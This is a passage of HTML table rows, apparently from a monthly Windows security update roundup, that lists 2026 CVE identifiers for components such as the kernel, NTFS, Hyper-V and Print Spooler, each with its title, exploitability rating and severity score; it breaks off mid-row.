href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54127">CVE-2026-54127</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50315">CVE-2026-50315</a></td><td><p>Windows Image Acquisition Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49173">CVE-2026-49173</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49808">CVE-2026-49808</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50436">CVE-2026-50436</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316"><br>CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58602">CVE-2026-58602</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50393">CVE-2026-50393</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50396">CVE-2026-50396</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58544">CVE-2026-58544</a></td><td><p>Windows Management Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50404">CVE-2026-50404</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50336">CVE-2026-50336</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50398">CVE-2026-50398</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50414">CVE-2026-50414</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50379">CVE-2026-50379</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50676">CVE-2026-50676</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50677">CVE-2026-50677</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50327">CVE-2026-50327</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58542">CVE-2026-58542</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50342">CVE-2026-50342</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56183">CVE-2026-56183</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56187">CVE-2026-56187</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56181">CVE-2026-56181</a></td><td><p>Windows Network Address Translation (NAT) Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50317">CVE-2026-50317</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49166">CVE-2026-49166</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation 